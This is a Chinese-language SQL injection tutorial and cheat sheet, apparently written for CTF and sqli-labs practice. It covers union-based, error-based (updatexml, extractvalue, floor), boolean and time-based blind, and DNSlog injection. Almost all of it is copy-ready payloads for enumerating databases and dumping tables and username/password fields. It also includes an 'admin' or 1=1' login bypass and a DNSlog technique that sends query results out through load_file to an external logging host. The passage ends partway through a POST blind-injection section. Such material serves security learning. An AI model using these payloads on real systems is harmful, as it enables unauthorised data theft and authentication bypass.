SQL 注入基础
显注
【GET】 union 注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数
order by n --+ 【n为字段数】
3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
在此之前要将一个不存在的值传给参数【闭合符前】
union select 1,2,... --+
【例】文章来源:https://www.toymoban.com/news/detail-644730.html
假设表中不存在 -1 这个值,则
?id=-1' union select 1,2 #
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表
获取当前数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
【GET】 报错注入
updatexml 报错注入
浅析
函数:updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
【我们的主角是第二个参数,其他两个不用管】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and updatexml(1,0x7e,1) --+
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
浅析
函数:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
【只有两个参数,我们的主角是第二个参数,另外一个不用管】
【基本跟 updatexml 一样,换汤不换药】我们要构造一条带有 xpath 语法错误的语句,比如
0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and extractvalue(1,0x7e)
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起
【0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
浅析
众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数
而 rand(0) 则生成一个固定的伪随机数
只要 rand() 里面是 0 ,那么它前十个一定是这几个数
然后将其 *2
然后再向下取整
得到这样的一个固定序列,待会会用到MySQL 在执行 select count(*) from tables group by x 这类语句时会创建一个虚拟表
【key是主键,不可重复。count(*) 用于计数】
看一眼待会要用的表接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行) ,否则插入数据(rand() 会再次执行)
具体流程:
查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1
接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+ 【n为字段数】
3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
【示例】union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
【POST】 union 注入
与 get 提交区别
- GET 提交会被缓存,POST 不会
- GET 提交参数会被保留在浏览器的历史记录,POST 提交不会
- GET 提交可以被收藏为数千,POST 提交不会
- GET 提交有长度限制,最长 2048 个字符。POST 没有长度限制,不仅允许用 ASCII 字符,还能用二进制数据
- POST 提交更安全
基本步骤
大体跟 GET 提交注入差不多
只不过换了个提交方式而已
可以用 burp 抓包来改,也可以用 hackbar 来改
【偏方】
万能密码
uname=admin' or 1=1 #&passwd=123&submit=Submit
直接登录成功
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】id=1 and 1=1
为真id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数
order by n --+ 【n为字段数】
3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
在此之前要将一个不存在的值传给参数【闭合符前】
union select 1,2,... --+
【例】
假设表中不存在 -1 这个值,则
uname=-1' union select 1,2 #
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表
获取当前数据库中的表union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
【POST】 报错注入
与 GET 的报错注入一样,浅析直接看上面的就行了,这里直接上基本步骤
updatexml 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】id=1 and 1=1
为真id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+ 【n为字段数】
3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name='表名')) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
【示例】union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
盲注
【GET】 布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+ 【n为字符数】【可枚举出 n】
【二分法】【下面步骤用此法】
and length(database()) > n --+ 【n为字符数】
3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】
5. 猜解数据库表名长度(若页面正常显示则判断正确)
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
6.猜解表名(若页面正常显示则判断正确)
猜解第一个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【GET】 时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**?id=1 and sleep(2)
**上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】【二分法】【下面步骤用此法】
3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and if(substr(database(),1,1)='s',sleep(2),0) --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】
5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解字段长度(若页面刷新指定秒则判断正确
猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段(若页面刷新指定秒则判断正确)
猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)
猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解字段内容(若页面刷新指定秒则判断正确)
猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【GET】 DNSlog 注入
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
所用命令
select load_file("");
由于是读文件,需要相对应的读写权限
👇👇👇
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
前置知识
UNC 路径
\\servername\sharename
servername 表示 ip 或者域名
sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】
【注意】
\\ 容易被当成转义符,建议使用 //
手动注入基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**?id=1 and sleep(2)
** 【延时判断】上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合
【以数字型为例,字符型同理】
?id=1 and 1=1
为真 【布尔判断】?id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例3. 获取数据库名
and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+
所以我们只需要改
select database()
和你的Identifier
即可select database()
填 sql 注入语句4. 获取表名
只能一条一条的读,改 limit 后面的值即可
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+
5. 获取字段名
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+
6. 获取字段内容
and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+
至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
自动化注入基本步骤
【CEYE API】
【DnslogSqlinj】
【python 2】
1. 获取 CEYE 的 api
2. 获取和配置工具
工具:DnslogSqlinj
下载下来
将上面的 api 和域名填成自己的
需要 python 2 环境
安装三个包
pip install gevent==1.2.2 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install termcolor -i https://pypi.tuna.tsinghua.edu.cn/simple pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple
3. 用法
类似 sqlmap
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({}) --+" -D "security" --tables
注入位置要自己标出来,即后面的
({})
有时候会报错且结果不一定准确,自行判断该不该用
【POST】 布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】id=1 and 1=1
为真id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+ 【n为字符数】【可枚举出 n】
【二分法】【下面步骤用此法】
and length(database()) > n --+ 【n为字符数】
3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
and ascii(substr(database(),...,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】
5. 猜解数据库表名长度(若页面正常显示则判断正确)
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
6.猜解表名(若页面正常显示则判断正确)
猜解第一个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
